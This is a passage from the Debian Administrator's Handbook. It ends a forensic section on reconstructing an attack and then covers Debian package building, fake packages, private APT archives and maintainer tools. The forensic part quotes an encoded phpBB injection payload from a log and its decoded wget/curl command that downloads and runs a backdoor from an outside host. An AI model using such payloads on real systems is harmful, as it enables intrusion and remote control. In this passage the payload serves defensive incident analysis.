→ https://grml-forensic.org/

14.7.6. Reconstituting the Attack Scenario

All the elements collected during the analysis should fit together like pieces in a jigsaw puzzle; the creation of the first suspect files is often correlated with logs proving the breach. A real-world example should be more explicit than long theoretical ramblings.

The following log is an extract from an Apache access.log:

www.falcot.com 200.58.141.84 - - [27/Nov/2004:13:33:34 +0100] "GET /phpbb/viewtopic.php?t=10&highlight=%2527%252esystem(chr(99)%252echr(100)%252echr(32)%252echr(47)%252echr(116)%252echr(109)%252echr(112)%252echr(59)%252echr(32)%252echr(119)%252echr(103)%252echr(101)%252echr(116)%252echr(32)%252echr(103)%252echr(97)%252echr(98)%252echr(114)%252echr(121)%252echr(107)%252echr(46)%252echr(97)%252echr(108)%252echr(116)%252echr(101)%252echr(114)%252echr(118)%252echr(105)%252echr(115)%252echr(116)%252echr(97)%252echr(46)%252echr(111)%252echr(114)%252echr(103)%252echr(47)%252echr(98)%252echr(100)%252echr(32)%252echr(124)%252echr(124)%252echr(32)%252echr(99)%252echr(117)%252echr(114)%252echr(108)%252echr(32)%252echr(103)%252echr(97)%252echr(98)%252echr(114)%252echr(121)%252echr(107)%252echr(46)%252echr(97)%252echr(108)%252echr(116)%252echr(101)%252echr(114)%252echr(118)%252echr(105)%252echr(115)%252echr(116)%252echr(97)%252echr(46)%252echr(111)%252echr(114)%252echr(103)%252echr(47)%252echr(98)%252echr(100)%252echr(32)%252echr(45)%252echr(111)%252echr(32)%252echr(98)%252echr(100)%252echr(59)%252echr(32)%252echr(99)%252echr(104)%252echr(109)%252echr(111)%252echr(100)%252echr(32)%252echr(43)%252echr(120)%252echr(32)%252echr(98)%252echr(100)%252echr(59)%252echr(32)%252echr(46)%252echr(47)%252echr(98)%252echr(100)%252echr(32)%252echr(38))%252e%2527 HTTP/1.1" 200 27969 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)"

This example matches exploitation of an old security vulnerability in phpBB.

→ https://www.phpbb.com/phpBB/viewtopic.php?t=240636

Decoding this long URL leads to understanding that the attacker managed to run some PHP code, namely: system("cd /tmp; wget gabryk.altervista.org/bd || curl gabryk.altervista.org/bd -o bd; chmod +x bd; ./bd &"). Indeed, a bd file was found in /tmp/. Running strings /mnt/tmp/bd returns, among other strings, PsychoPhobia Backdoor is starting.... This really looks like a backdoor.

Some time later, this access was used to download, install and run an IRC bot that connected to an underground IRC network. The bot could then be controlled via this protocol and instructed to download files for sharing. This program even has its own log file:

** 2004-11-29-19:50:15: NOTICE: :GAB!sex@Rizon-2EDFBC28.pool8250.interbusiness.it NOTICE ReV|DivXNeW|504 :DCC Chat (82.50.72.202)

** 2004-11-29-19:50:15: DCC CHAT attempt authorized from GAB!SEX@RIZON-2EDFBC28.POOL8250.INTERBUSINESS.IT

** 2004-11-29-19:50:15: DCC CHAT received from GAB, attempting connection to 82.50.72.202:1024

** 2004-11-29-19:50:15: DCC CHAT connection suceeded, authenticating

** 2004-11-29-19:50:20: DCC CHAT Correct password

(...)

** 2004-11-29-19:50:49: DCC Send Accepted from ReV|DivXNeW|502: In.Ostaggio-iTa.Oper_-DvdScr.avi (713034KB)

(...)

** 2004-11-29-20:10:11: DCC Send Accepted from GAB: La_tela_dell_assassino.avi (666615KB)

(...)

** 2004-11-29-21:10:36: DCC Upload: Transfer Completed (666615 KB, 1 hr 24 sec, 183.9 KB/sec)

(...)

** 2004-11-29-22:18:57: DCC Upload: Transfer Completed (713034 KB, 2 hr 28 min 7 sec, 80.2 KB/sec)

These traces show that two video files have been stored on the server by way of the 82.50.72.202 IP address.

In parallel, the attacker also downloaded a pair of extra files, /tmp/pt and /tmp/loginx. Running these files through strings leads to strings such as Shellcode placed at 0x%08lx and Now wait for suid shell.... These look like programs exploiting local vulnerabilities to obtain administrative privileges. Did they reach their target? In this case, probably not, since no files seem to have been modified after the initial breach.

In this example, the whole intrusion has been reconstructed, and it can be deduced that the attacker has been able to take advantage of the compromised system for about three days; but the most important element in the analysis is that the vulnerability has been identified, and the administrator can be sure that the new installation really does fix the vulnerability.

章 15. 建立一個套裝軟體

It is quite common, for an administrator who has been handling Debian packages in a regular fashion, to eventually feel the need to create their own packages, or to modify an existing package. This chapter aims to answer the most common questions in this field, and provide the required elements to take advantage of the Debian infrastructure in the best way. With any luck, after trying your hand for local packages, you may even feel the need to go further than that and join the Debian project itself!

15.1. Rebuilding a Package from its Sources

Rebuilding a binary package is required under several sets of circumstances. In some cases, the administrator needs a software feature that requires the software to be compiled from sources, with a particular compilation option; in others, the software as packaged in the installed version of Debian is not recent enough. In the latter case, the administrator will usually build a more recent package taken from a newer version of Debian — such as Testing or even Unstable — so that this new package works in their Stable distribution; this operation is called “backporting”. As usual, care should be taken, before undertaking such a task, to check whether it has been done already — a quick look on the Debian Package Tracker for that package will reveal that information.

→ https://tracker.debian.org/

15.1.1. 取得原始碼

Rebuilding a Debian package starts with getting its source code. The easiest way is to use the apt-get source package-name command. This command requires a deb-src line in the /etc/apt/sources.list file, and up-to-date index files (i.e. apt-get update). These conditions should already be met if you followed the instructions from the chapter dealing with APT configuration (see 節 6.1, “寫入 sources.list 檔案”). Note, however, that you will be downloading the source packages from the Debian version mentioned in the deb-src line.

If you need another version, you may need to download it manually from a Debian mirror or from the web site. This involves fetching two or three files (with extensions *.dsc — for Debian Source Control — *.tar.comp, and sometimes *.diff.gz or *.debian.tar.comp — comp taking one value among gz, bz2 or xz depending on the compression tool in use), then run the dpkg-source -x file.dsc command. If the *.dsc file is directly accessible at a given URL, there is an even simpler way to fetch it all, with the dget URL command. This command (which can be found in the devscripts package) fetches the *.dsc file at the given address, then analyzes its contents, and automatically fetches the file or files referenced within. Once everything has been downloaded, it verifies the integrity of the downloaded source packages using dscverify, and it extracts the source package (unless the -d or --download-only option is used). The Debian keyring is needed, unless the option -u is supplied.

15.1.2. Making Changes

讓我們使用 samba 套裝軟體當作示範。

$ apt source samba

Reading package lists... Done

NOTICE: 'samba' packaging is maintained in the 'Git' version control system at:

https://salsa.debian.org/samba-team/samba.git

Please use:

git clone https://salsa.debian.org/samba-team/samba.git

to retrieve the latest (possibly unreleased) updates to the package.

Need to get 12.3 MB of source archives.

Get:1 http://security.debian.org/debian-security bullseye-security/main samba 2:4.13.13+dfsg-1~deb11u3 (dsc) [4,514 B]

Get:2 http://security.debian.org/debian-security bullseye-security/main samba 2:4.13.13+dfsg-1~deb11u3 (tar) [11.8 MB]

Get:3 http://security.debian.org/debian-security bullseye-security/main samba 2:4.13.13+dfsg-1~deb11u3 (diff) [468 kB]

Fetched 12.3 MB in 3s (4,582 kB/s)

dpkg-source: info: extracting samba in samba-4.13.13+dfsg

dpkg-source: info: unpacking samba_4.13.13+dfsg.orig.tar.xz

dpkg-source: info: unpacking samba_4.13.13+dfsg-1~deb11u3.debian.tar.xz

dpkg-source: info: using patch list from debian/patches/series

dpkg-source: info: applying 07_private_lib

dpkg-source: info: applying bug_221618_precise-64bit-prototype.patch

dpkg-source: info: applying [...]

The source of the package is now available in a directory named after the source package and its version (samba-4.13.13+dfsg); this is where we'll work on our local changes.

The first thing to do is to change the package version number, so that the rebuilt packages can be distinguished from the original packages provided by Debian. Assuming the current version is 2:4.13.13+dfsg-1~deb11u3, we can create version 2:4.13.13+dfsg-1~deb11u3+falcot1, which clearly indicates the origin of the package. This makes the package version number higher than the one provided by Debian, so that the package will easily install as an update to the original package. Such a change is best effected with the dch command (Debian CHangelog) from the devscripts package.

$ cd 4.13.13+dfsg-1~deb11u3

$ dch --local +falcot

The last command invokes a text editor (sensible-editor — this should be your favorite editor if it is mentioned in the VISUAL or EDITOR environment variables, and the default editor otherwise) to allow documenting the differences brought by this rebuild. This editor shows us that dch really did change the debian/changelog file.

When a change in build options is required, the changes need to be made in debian/rules, which drives the steps in the package build process. In the simplest cases, the lines concerning the initial configuration (./configure …) or the actual build ($(MAKE) … or make … or cmake … or …) are easy to spot. If these commands are not explicitly called, they are probably a side effect of another explicit command, in which case please refer to their documentation to learn more about how to change the default behavior. With packages using dh, you might need to add an override for the dh_auto_configure or dh_auto_build commands (see their respective manual pages and debhelper(7) for explanations on how to achieve this).

Depending on the local changes to the packages, an update may also be required in the debian/control file, which contains a description of the generated packages. In particular, this file contains Build-Depends lines controlling the list of dependencies that must be fulfilled at package build time. These often refer to versions of packages contained in the distribution the source package comes from, but which may not be available in the distribution used for the rebuild. There is no automated way to determine if a dependency is real or only specified to guarantee that the build should only be attempted with the latest version of a library — this is the only available way to force an autobuilder to use a given package version during build, which is why Debian maintainers frequently use strictly versioned build-dependencies.

If you know for sure that these build-dependencies are too strict, you should feel free to relax them locally. Reading the files which document the standard way of building the software — these files are often called INSTALL — will help you figure out the appropriate dependencies. Ideally, all dependencies should be satisfiable from the distribution used for the rebuild; if they are not, a recursive process starts, whereby the packages mentioned in the Build-Depends field must be backported before the target package can be. Some packages may not need backporting, and can be installed as-is during the build process (a notable example is debhelper). Note that the backporting process can quickly become complex if you are not careful. Therefore, backports should be kept to a strict minimum when possible.

TIP Installing Build-Depends

apt-get allows installing all packages mentioned in the Build-Depends fields of a source package available in a distribution mentioned in a deb-src line of the /etc/apt/sources.list file. This is a simple matter of running the apt-get build-dep package command.

15.1.3. Starting the Rebuild

When all the needed changes have been applied to the sources, we can start generating the actual binary package (.deb file). The whole process is managed by the dpkg-buildpackage command.

範例 15.1. 重新建立一個套裝軟體

$ dpkg-buildpackage -us -uc

[...]

The previous command can fail if the Build-Depends field has not been updated, or if the related packages are not installed. In such a case, it is possible to overrule this check by passing the -d option to dpkg-buildpackage. However, explicitly ignoring these dependencies runs the risk of the build process failing at a later stage. Worse, the package may seem to build correctly but fail to run properly: some programs automatically disable some of their features when a required library is not available at build time. The switch can still be very useful if you only want to create a source package, which is supposed to be passed to clean build environments as described in QUICK LOOK Building packages in chrooted and virtual environments.

The other options used in the above example make sure that neither the source package's .dsc (-us) nor the produced .changes file (-uc) get signed with the package builder's cryptographic key after the asuccessful build.

工具 fakeroot

In essence, the package creation process is a simple matter of gathering in an archive a set of existing (or built) files; most of the files will end up being owned by root in the archive. However, building the whole package under this user would imply increased risks; fortunately, this can be avoided with the fakeroot command. This tool can be used to run a program and give it the impression that it runs as root and creates files with arbitrary ownership and permissions. When the program creates the archive that will become the Debian package, it is tricked into creating an archive containing files marked as belonging to arbitrary owners, including root. This setup is so convenient that dpkg-buildpackage uses fakeroot by default when building packages.

Note that the program is only tricked into “believing” that it operates as a privileged account, and the process actually runs as the user running fakeroot program (and the files are actually created with that user's permissions). At no time does it actually get root privileges that it could abuse.

More often than not, Debian developers use a higher-level program such as debuild; this runs dpkg-buildpackage as usual, but it also adds an invocation of a program that runs many checks to validate the generated package against the Debian policy. This script also cleans up the environment so that local environment variables do not “pollute” the package build. The debuild command is one of the tools in the devscripts suite, which share some consistency and configuration to make the maintainers' task easier.

QUICK LOOK Building packages in chrooted and virtual environments

Building a package on an existing system, like a workstation or server, can pose several problems. Maybe the system has packages installed, that conflict with the build requirements. Or maybe it has packages (libraries, headers, etc.) installed, that the project to build is not supposed to use - e.g. from Testing, Unstable, or even from third parties. Also it might have packages installed, which are actually required for the build, but are not listed in debian/control. It is therefore a good practice to build a packages in “clean“ environments.

The sbuild, pbuilder, or cowbuilder programs (in the similarly named packages) allow building a Debian package in a chrooted environment. Each of them first creates a temporary directory containing the minimal system required for building the package (including the packages mentioned in the Build-Depends field). This directory is then used as the root directory (/), using the chroot command, during the build process.

These tools allow the build process to happen in an environment that is not altered by users' manipulations. This also allows for quick detection of the missing build-dependencies (since the build will fail unless the appropriate dependencies are documented). Finally, it allows building a package for a Debian version that is not the one used by the system as a whole: the machine can be using Stable for its normal workload, and the chrooted environments can be running on the same machine using Unstable for package builds. Using these tools, it is also possible to build for a different distribution, like Ubuntu.

schroot, sbuild-shell, or pbuilder allow running a command or a login shell in a chrooted environment.

Sometimes it is not enough to build a package in a chrooted environment. This can be due to building for a different architecture where cross-compilation does not work, or due to the tools not being able to create a chrooted environment for the desired target system. Then one can create virtual machines to build the package there. These setups are usually more complex then the tools mentioned above, and rarely needed, so we will only mention this possibility without going into much detail. Check out 節 12.2, “虛擬化” for an introduction into this topic.

15.2. 建立你第一個套裝軟體

15.2.1. Meta-Packages or Fake Packages

Fake packages and meta-packages are similar, in that they are empty shells that only exist for the effects their meta-data have on the package handling stack.

The purpose of a fake package is to trick dpkg and apt into believing that some package is installed even though it is only an empty shell. This allows satisfying dependencies on a package when the corresponding software was installed outside the scope of the packaging system. Such a method works, but it should still be avoided whenever possible, since there is no guarantee that the manually installed software behaves exactly like the corresponding package would and other packages depending on it would not work properly.

On the other hand, a meta-package exists mostly as a collection of dependencies, so that installing the meta-package will actually bring in a set of other packages in a single step.

Both these kinds of packages can be created by the equivs-control and equivs-build commands (in the equivs package). The equivs-control file command creates a Debian package header file that should be edited to contain the name of the expected package, its version number, the name of the maintainer, its dependencies, and its description. Other fields without a default value are optional and can be deleted. The Copyright, Changelog, Readme and Extra-Files fields are not standard fields in Debian packages; they only make sense within the scope of equivs-build, and they will not be kept in the headers of the generated package.

範例 15.2. Header file of the libxml-libxml-perl fake package

Section: perl

Priority: optional

Standards-Version: 4.5.1

Package: libxml-libxml-perl

Version: 2.0207-1

Maintainer: Raphael Hertzog <hertzog@debian.org>

Depends: libxml2 (>= 2.9.10)

Architecture: all

Description: Fake package - module manually installed in site_perl

This is a fake package to let the packaging system

believe that this Debian package is installed.

.

In fact, the package is not installed since a newer version

of the module has been manually compiled &amp; installed in the

site_perl directory.

The next step is to generate the Debian package with the equivs-build file command. Voilà: the package is created in the current directory and it can be handled like any other Debian package would.

$ equivs-build file

equivs-build control

dpkg-buildpackage: info: source package libxml-libxml-perl

dpkg-buildpackage: info: source version 2.0207-1

dpkg-buildpackage: info: source distribution unstable

dpkg-buildpackage: info: source changed by Raphael Hertzog <hertzog@debian.org>

dpkg-buildpackage: info: host architecture amd64

dpkg-source --before-build .

debian/rules clean

dh clean

dh_clean

debian/rules binary

dh binary

dh_update_autotools_config

dh_autoreconf

create-stamp debian/debhelper-build-stamp

dh_prep

dh_install

dh_installdocs

dh_installchangelogs

dh_perl

dh_link

dh_strip_nondeterminism

dh_compress

dh_fixperms

dh_missing

dh_installdeb

dh_gencontrol

dh_md5sums

dh_builddeb

dpkg-deb: building package 'libxml-libxml-perl' in '../libxml-libxml-perl_2.0207-1_all.deb'.

dpkg-genbuildinfo --build=binary

dpkg-genchanges --build=binary >../libxml-libxml-perl_2.0207-1_amd64.changes

dpkg-genchanges: info: binary-only upload (no source code included)

dpkg-source --after-build .

dpkg-buildpackage: info: binary-only upload (no source included)

The package has been created.

Attention, the package has been created in the current directory,

not in ".." as indicated by the messaige above!

15.2.2. Simple File Archive

The Falcot Corp administrators need to create a Debian package in order to ease deployment of a set of documents on a large number of machines. The administrator in charge of this task first reads the “New Maintainer's Guide”, then starts working on their first package.

→ https://www.debian.org/doc/manuals/maint-guide/

The first step is creating a falcot-data-1.0 directory to contain the target source package. The package will logically, be named falcot-data and bear the 1.0 version number. The administrator then places the document files in a data subdirectory. Then they invoke the dh_make command (from the dh-make package) to add files required by the package generation process, which will all be stored in a debian subdirectory:

$ cd falcot-data-1.0

$ dh_make --native

Type of package: (single, indep, library, python)

[s/i/l/p]? i

Maintainer Name     : Raphael Hertzog

Email-Address       : hertzog@debian.org

Date                : Sat, 26 Feb 2021 13:02:06 +0100

Package Name        : falcot-data

Version             : 1.0

License             : gpl3

Package Type        : indep

Are the details correct? [Y/n/q]

Currently there is not top level Makefile. This may require additional tuning

Done. Please edit the files in the debian/ subdirectory now.

$

The selected type of package (indep) indicates that this source package will generate a single binary package that can be shared across all architectures (Architecture: all in debian/control). single acts as a counterpart, and leads to a single binary package that is dependent on the target architecture (Architecture: any). In this case, the former choice is more relevant since the package only contains documents and no binary programs, so it can be used similarly on computers of all architectures.

The library type corresponds to a source package leading to several binary packages. It is useful for shared libraries, since they need to follow strict packaging rules.

TIP Maintainer's name and email address

Most of the programs involved in package maintenance will look for your name and email address in the DEBFULLNAME and DEBEMAIL or EMAIL environment variables. Defining them once and for all will avoid you having to type them multiple times. If your usual shell is bash, it is a simple matter of adding the following two lines in your ~/.bashrc file (you will obviously replace the values with more relevant ones!):

export EMAIL="hertzog@debian.org"

export DEBFULLNAME="Raphael Hertzog"

The dh_make command created a debian subdirectory with many files. Some are required, in particular rules, control, changelog and copyright. Files with the .ex extension are example files that can be used by modifying them (and removing the extension) when appropriate. When they are not needed, removing them is recommended. The compat file is not used nor created anymore. Instead of defining the debhelper compatibility level as a number in this file, it is now defined as a build-dependency on the debhelper-compat virtual package in the Build-Depends file in debian/control.

The copyright file must contain information about the authors of the documents included in the package, and the related copyright and license. In our case, these are internal documents and their use is restricted to within the Falcot Corp company. The default format used for this file is defined in the Format field.

→ https://www.debian.org/doc/packaging-manuals/copyright-format/1.0/

The default changelog file is generally appropriate; replacing the “Initial release” with a more verbose explanation and changing the distribution from UNRELEASED or unstable to the target release name is enough.

The control file must also be updated: the Section field can be changed to misc and the Homepage, Vcs-Git and Vcs-Browser fields were removed. The Depends fields was completed with firefox-esr | www-browser so as to ensure the availability of a web browser able to display the documents in the package. If the package does not require to run any commands as root (see 工具 fakeroot), the Rules-Requires-Root field can be left as is.

範例 15.3. The control file

Source: falcot-data

Section: misc

Priority: optional

Maintainer: Raphael Hertzog <hertzog@debian.org>

Build-Depends: debhelper-compat (= 13)

Standards-Version: 4.5.1

Rules-Requires-Root: no

Package: falcot-data

Architecture: all

Depends: firefox-esr | www-browser, ${misc:Depends}

Description: Internal Falcot Corp Documentation

This package provides several documents describing the internal

structure at Falcot Corp.  This includes:

- organization diagram

- contacts for each department.

.

These documents MUST NOT leave the company.

Their use is INTERNAL ONLY.

範例 15.4. The changelog file

falcot-data (1.0) bullseye; urgency=low

* Initial Release.

* Let's start with few documents:

- internal company structure;

- contacts for each department.

-- Raphael Hertzog <hertzog@debian.org>  Sat, 26 Feb 2022 15:12:06 +0100

範例 15.5. The copyright file

Format: https://www.debian.org/doc/packaging-manuals/copyright-format/1.0/

Upstream-Name: falcot-data

Files: *

Copyright: 2004-2021 Falcot Corp

License:

All rights reserved.

BACK TO BASICS Makefile file

A Makefile file is a script used by the make program; it describes rules for how to build a set of files from each other in a tree of dependencies (for instance, a program can be built from a set of source files). The Makefile file describes these rules in the following format:

target: source1 source2 ...

command1

command2

The basic interpretation of such a rule is as follows: if one of the source* files is more recent than the target file, then the target needs to be generated, using command1 and command2.

Note that the command lines must start with a tab character; also note that when a command line starts with a dash character (-), failure of the command does not interrupt the whole process.

The rules file usually contains a set of rules used to configure, build and install the software in a dedicated subdirectory (named after the generated binary package). The contents of this subdirectory is then archived within the Debian package as if it were the root of the filesystem. In our case, files will be installed in the debian/falcot-data/usr/share/falcot-data/ subdirectory, so that installing the generated package will deploy the files under /usr/share/falcot-data/. The rules file is used as a Makefile, with a few standard targets (including clean and binary, used respectively to clean the source directory and generate the binary package).

Although this file is the heart of the process, it increasingly contains only the bare minimum for running a standard set of commands provided by the debhelper tool. Such is the case for files generated by dh_make. To install our files, we simply configure the behavior of the dh_install command by creating the following debian/falcot-data.install file:

data/* usr/share/falcot-data/

At this point, the package can be created. We will, however, add a lick of paint. Since the administrators want the documents to be easily accessed from the menus of graphical desktop environments, we add a falcot-data.desktop file and get it installed in /usr/share/applications by adding a second line to debian/falcot-data.install.

範例 15.6. falcot-data.desktop 檔案

[Desktop Entry]

Name=Internal Falcot Corp Documentation

Comment=Starts a browser to read the documentation

Exec=x-www-browser /usr/share/falcot-data/index.html

Terminal=false

Type=Application

Categories=Documentation;

更新的 debian/falcot-data.install 看起來像這樣:

data/* usr/share/falcot-data/

falcot-data.desktop usr/share/applications/

Our source package is now ready. All that is left to do is to generate the binary package, with the same method we used previously for rebuilding packages: we run the dpkg-buildpackage -us -uc command from within the falcot-data-1.0 directory.

15.3. 新增套裝軟體到APT

Falcot Corp gradually started maintaining a number of Debian packages either locally modified from existing packages or created from scratch to distribute internal data and programs.

To make deployment easier, they want to integrate these packages in a package archive that can be directly used by APT. For obvious maintenance reasons, they wish to separate internal packages from locally-rebuilt packages. The goal is for the matching entries in a /etc/apt/sources.list.d/falcot.list file to be as follows:

deb http://packages.falcot.com/ updates/

deb http://packages.falcot.com/ internal/

The administrators therefore configure a virtual host on their internal HTTP server, with /srv/vhosts/packages/ as the root of the associated web space. The management of the archive itself is delegated to the mini-dinstall command (in the similarly-named package). This tool keeps an eye on an incoming/ directory (in our case, /srv/vhosts/packages/mini-dinstall/incoming/) and waits for new packages there; when a package is uploaded, it is installed into a Debian archive at /srv/vhosts/packages/. The mini-dinstall command reads the *.changes file created when the Debian package is generated. These files contain a list of all other files associated with the version of the package (*.deb, *.dsc, *.diff.gz/*.debian.tar.gz, *.orig.tar.gz, or their equivalents with other compression tools), and these allow mini-dinstall to know which files to install. *.changes files also contain the name of the target distribution (often unstable) mentioned in the latest debian/changelog entry, and mini-dinstall uses this information to decide where the package should be installed. This is why administrators must always change this field before building a package, and set it to internal or updates, depending on the target location. mini-dinstall then generates the files required by APT, such as Packages.gz.

ALTERNATIVE apt-ftparchive, aptly, and reprepro

If mini-dinstall seems too complex for your Debian archive needs, you can also use the apt-ftparchive command. This tool scans the contents of a directory and displays (on its standard output) a matching Packages file. In the Falcot Corp case, administrators could upload the packages directly into /srv/vhosts/packages/updates/ or /srv/vhosts/packages/internal/, then run the following commands to create the Packages.gz files:

$ cd /srv/vhosts/packages

$ apt-ftparchive packages updates >updates/Packages

$ gzip updates/Packages

$ apt-ftparchive packages internal >internal/Packages

$ gzip internal/Packages

The apt-ftparchive sources command allows creating Sources.gz files in a similar fashion.

reprepro and aptly are more advanced tools for the same purpose. They can produce, manage and synchronize a number of package repositories, mirror other repositories, even cherry-pick packages from official repositories and provide them locally, create signatures of the generated package indices and thus provide signed repositories. reprepro stores packages and checksums in a Berkeley DB database file, so no database server is needed. aptly provides the same functionality, but it can be easier in handling. Unfortunately, both projects, although probably the most feature-rich solutions, are not actively developed at the moment.

reprepro comes with a lot of documentation and examples in /usr/share/doc/reprepro/, while aptly has a vast online documentation.

→ https://www.aptly.info/

Configuring mini-dinstall requires setting up a ~/.mini-dinstall.conf file; in the Falcot Corp case, the contents are as follows:

[DEFAULT]

archive_style = flat

archivedir = /srv/vhosts/packages

verify_sigs = 0

mail_to = admin@falcot.com

generate_release = 1

release_origin = Falcot Corp

release_codename = stable

[updates]

release_label = Recompiled Debian Packages

[internal]

release_label = Internal Packages

One decision worth noting is the generation of Release files for each archive. This can help manage package installation priorities using the /etc/apt/preferences configuration file (see 節 6.2.5, “管理套件優先性” for details).

安全 mini-dinstall 與許可

Since mini-dinstall has been designed to run as a regular user, there is no need to run it as root. The easiest way is to configure everything within the user account belonging to the administrator in charge of creating the Debian packages. Since only this administrator has the required permissions to put files in the incoming/ directory, we can deduce that the administrator authenticated the origin of each package prior to deployment and mini-dinstall does not need to do it again. This explains the verify_sigs = 0 parameter (which means that signatures need not be verified). However, if the contents of packages are sensitive, we can reverse the setting and elect to authenticate with a keyring containing the public keys of persons allowed to create packages (configured with the extra_keyrings parameter); mini-dinstall will then check the origin of each incoming package by analyzing the signature integrated to the *.changes file.

Invoking mini-dinstall actually starts a daemon in the background. As long as this daemon runs, it will check for new packages in the incoming/ directory every half-hour; when a new package arrives, it will be moved to the archive and the appropriate Packages.gz and Sources.gz files will be regenerated. If running a daemon is a problem, mini-dinstall can also be manually invoked in batch mode (with the -b option) every time a package is uploaded into the incoming/ directory. Other possibilities provided by mini-dinstall are documented in its mini-dinstall(1) manual page.

EXTRA Generating a signed archive

The APT suite checks a chain of cryptographic signatures on the packages it handles before installing them, in order to ensure their authenticity (see 節 6.6, “檢查套件真偽”). Private APT archives can then be a problem, since the machines using them will keep displaying warnings about unsigned packages. A diligent administrator will therefore integrate private archives with the secure APT mechanism.

To help with this process, mini-dinstall includes a release_signscript configuration option that allows specifying a script to use for generating the signature. A good starting point is the sign-release.sh script provided by the mini-dinstall package in /usr/share/doc/mini-dinstall/examples/; local changes may be relevant.

15.4. 成為套裝軟體維護者

15.4.1. Learning to Make Packages

Creating a quality Debian package is not always a simple task, and becoming a package maintainer takes some learning, both with theory and practice in technical and legal matters. It is not a simple matter of building and installing software; rather, the bulk of the complexity comes from understanding the problems and conflicts, and more generally the interactions, with the myriad of other packages available.

15.4.1.1. Rules

A Debian package must comply with the precise rules compiled in the Debian policy, and each package maintainer must know them. There is no requirement to know them by heart, but rather to know they exist and to refer to them whenever a choice presents a non-trivial alternative. Every Debian maintainer has made mistakes by not knowing about a rule, but this is not a huge problem as long as the error gets fixed when a user reports it as a bug report (which tends to happen fairly soon thanks to advanced users). The Standards-Version field in debian/control specifies the version of the Debian policy with which a package complies. Maintainers should comply to the latest version of the Debian policy.

→ https://www.debian.org/doc/debian-policy/

15.4.1.2. 程序

Debian is not a simple collection of individual packages. Everyone's packaging work is part of a collective project; being a Debian developer involves knowing how the Debian project operates as a whole. Every developer will, sooner or later, interact with others. The Debian Developer's Reference (in the developers-reference package) summarizes what every developer must know in order to interact as smoothly as possible with the various teams within the project, and to take the best possible advantages of the available resources. This document also enumerates a number of duties a developer is expected to fulfill.

→ https://www.debian.org/doc/manuals/developers-reference/

15.4.1.3. 工具

Many tools help package maintainers in their work. This section describes them quickly, but does not give the full details, since they all have comprehensive documentation of their own.

15.4.1.3.1. devscripts

The devscripts package contains many programs helping with a wide array of a Debian developer's job:

- debuild allows generating a package (with dpkg-buildpackage) and running lintian to check its compliance with the Debian policy afterwards.

- debclean cleans a source package after a binary package has been generated.

- dch allows quick and easy editing of a debian/changelog file in a source package.

- uscan checks whether a new version of a software has been released by the upstream author; this requires a debian/watch file with a description of the location of such releases.

- debi allows installing (with dpkg -i) the Debian package that was just generated without the need to type its full name and path.

- In a similar fashion, debc allows scanning the contents of the recently-generated package (with dpkg -c), without needing to type its full name and path.

- bts controls the bug tracking system from the command line; this program automatically generates the appropriate emails.
→ https://www.debian.org/Bugs/server-refcard

- debrelease uploads a recently-generated package to a remote server, without needing to type the full name and path of the related .changes file.

- debsign signs the *.dsc and *.changes files.

- uupdate automates the creation of a new revision of a package when a new upstream version has been released.

All of the mentioned commands are documented in their respective manual pages. They can further be configured per user in one file: ~/.devscripts.

15.4.1.3.2. debhelper and dh-make

Debhelper is a set of scripts easing the creation of policy-compliant packages; these scripts are invoked from debian/rules. Debhelper has been widely adopted within Debian, as evidenced by the fact that it is used by the majority of official Debian packages. All the commands it contains have a dh_ prefix. Each of them is documented in a manual page. The different compatibility levels and common options are described in debhelper(7).

The dh_make script (in the dh-make package) creates files required for generating a Debian package in a directory initially containing the sources for a piece of software. As can be guessed from the name of the program, the generated files use debhelper by default.

15.4.1.3.3. lintian

This tool is one of the most important: it is the Debian package checker. It is based on a large array of tests created from the Debian policy, and detects quickly and automatically many errors that can then be fixed before packages are released.

This tool is only a helper, and it sometimes gets it wrong (for instance, since the Debian policy changes over time, lintian is sometimes outdated). It is also not exhaustive: not getting any Lintian error should not be interpreted as a proof that the package is perfect; at most, it avoids the most common errors.

15.4.1.3.4. piuparts

This is another important tool: it automates the installation, upgrade, removal and purge of a package (in an isolated environment), and checks that none of these operations leads to an error. It can help in detecting missing dependencies, and it also detects when files are incorrectly left over after the package got purged.

15.4.1.3.5. autopkgtest

autopkgtest runs tests on binary packages, using the tests supplied in the source package in debian/tests/. Several commands allow the easy creation of chrooted or virtual test environments.

15.4.1.3.6. reprotest

reprotest builds the same source code twice in different environments, and then checks the binaries produced by each build for differences. If any are found, then diffoscope (if unavailable, diff) is used to display them in detail for later analysis.

15.4.1.3.7. dupload and dput

The dupload and dput commands allow uploading a Debian package to a (possibly remote) server. This allows developers to publish their package on the main Debian server (ftp-master.debian.org) so that it can be integrated to the archive and distributed by mirrors. These commands take a .changes file as a parameter, and deduce the other relevant files from its contents.

15.4.1.3.8. git-buildpackage and dgit

The project has been using various version control systems over the years to store packaging efforts or package source code, or allow collaborative package maintenance. In an effort to unify the systems and efforts, it was ultimately decided in 2017 to move (almost) all package sources into Git (文化 Git) onto a Gitlab instance called salsa.debian.org.

→ https://salsa.debian.org/

To make packaging using Git easier for Debian developers, tools have been developed. These allow not only to store the packaging files in Git, but also to use the Git repositories (and their history) of software projects, put patches applied to package sources into Git history, maintain software versions per distribution, etc.

One of the most famous packages is git-buildpackage. An alternative is dgit. Of course it is still possible to use neither of those.

Below is an example for a ~/.gbp.conf configuration file

[DEFAULT]

builder = sbuild -d bullseye --build-dep-resolver=aptitude -s --source-only-changes --build-failed-commands "%SBUILD_SHELL"

pristine-tar = true

[buildpackage]

sign-tags = true

keyid = XXXX

postbuild  = autopkgtest --user debci --apt-upgrade -s "$GBP_CHANGES_FILE" -- lxc --sudo autopkgtest-bullseye-amd64

export-dir = /tmp/build-area/

notify = off

[import-orig]

filter-pristine-tar = true

sign-tags = true

[pq]

drop = true

Building the package is then as easy as running gbp buildpackage in the Git tree. It will start a package build in a Debian Bullseye chroot using sbuild. When the build succeeds, the created files are checked running the autopkgtest-testsuite (if defined). All the various options are explained in gbp.conf(5) and /etc/git-buildpackage/gbp.conf.

All the tools mentioned so far have been included in the continuous integration (CI) process in the salsa.debian.org instance as well:

→ https://salsa.debian.org/salsa-ci-team/pipeline

15.4.2. Acceptance Process

Becoming a “Debian developer” is not a simple administrative matter. The process comprises several steps, and is as much an initiation as it is a selection process. In any case, it is formalized and well-documented, so anyone can track their progression on the website dedicated to the new member process.

→ https://nm.debian.org/

EXTRA Lightweight process for “Debian Maintainers”

